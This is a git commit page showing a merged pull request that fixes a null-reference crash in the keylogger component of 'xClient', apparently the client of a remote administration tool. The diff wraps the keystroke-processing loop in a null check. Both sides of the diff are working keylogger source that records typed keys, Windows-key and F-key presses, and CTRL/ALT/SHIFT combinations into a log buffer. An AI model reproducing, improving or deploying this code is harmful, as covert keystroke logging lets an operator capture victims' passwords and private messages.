Merge pull request #93 from d3agle/master

Fixed crash in Keylogger (null reference)
This commit is contained in:
MaxXor 2015-05-07 11:31:55 +02:00
commit 67d333317c
1 changed files with 59 additions and 56 deletions

View File

@ -174,65 +174,68 @@ namespace xClient.Core.Keylogger
_keyBuffer.CopyTo(keybuffer); _keyBuffer.CopyTo(keybuffer);
foreach (var k in keybuffer) foreach (var k in keybuffer)
{ {
switch (k.Value) if (k != null)
{ {
case 8: switch (k.Value)
_logFileBuffer.Append(HighlightSpecialKey("Back")); {
break; case 8:
case 9: _logFileBuffer.Append(HighlightSpecialKey("Back"));
_logFileBuffer.Append(HighlightSpecialKey("Tab")); break;
break; case 9:
case 13: _logFileBuffer.Append(HighlightSpecialKey("Tab"));
_logFileBuffer.Append(HighlightSpecialKey("Enter")); break;
break; case 13:
case 32: _logFileBuffer.Append(HighlightSpecialKey("Enter"));
_logFileBuffer.Append(" "); break;
break; case 32:
case 46: _logFileBuffer.Append(" ");
_logFileBuffer.Append(HighlightSpecialKey("Del")); break;
break; case 46:
case 91: _logFileBuffer.Append(HighlightSpecialKey("Del"));
case 92: break;
_logFileBuffer.Append(HighlightSpecialKey("Win")); case 91:
break; case 92:
case 112: _logFileBuffer.Append(HighlightSpecialKey("Win"));
case 113: break;
case 114: case 112:
case 115: case 113:
case 116: case 114:
case 117: case 115:
case 118: case 116:
case 119: case 117:
case 120: case 118:
case 121: case 119:
case 122: case 120:
_logFileBuffer.Append(HighlightSpecialKey("F" + (k.Value - 111))); case 121:
break; case 122:
default: _logFileBuffer.Append(HighlightSpecialKey("F" + (k.Value - 111)));
if (_enumValues.Contains(k.Value)) break;
{ default:
if (k.AltKey && k.ControlKey && k.ShiftKey) if (_enumValues.Contains(k.Value))
{ {
_logFileBuffer.Append(HighlightSpecialKey("SHIFT-CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); if (k.AltKey && k.ControlKey && k.ShiftKey)
{
_logFileBuffer.Append(HighlightSpecialKey("SHIFT-CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
}
else if (k.AltKey && k.ControlKey && !k.ShiftKey)
{
_logFileBuffer.Append(HighlightSpecialKey("CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
}
else if (k.AltKey && !k.ControlKey)
{
_logFileBuffer.Append(HighlightSpecialKey("ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
}
else if (k.ControlKey && !k.AltKey)
{
_logFileBuffer.Append(HighlightSpecialKey("CTRL-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
}
else
{
_logFileBuffer.Append(FromKeys(k.Value, k.ShiftKey, k.CapsLock));
}
} }
else if (k.AltKey && k.ControlKey && !k.ShiftKey) break;
{ }
_logFileBuffer.Append(HighlightSpecialKey("CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
}
else if (k.AltKey && !k.ControlKey)
{
_logFileBuffer.Append(HighlightSpecialKey("ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
}
else if (k.ControlKey && !k.AltKey)
{
_logFileBuffer.Append(HighlightSpecialKey("CTRL-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
}
else
{
_logFileBuffer.Append(FromKeys(k.Value, k.ShiftKey, k.CapsLock));
}
}
break;
} }
j++; j++;
} }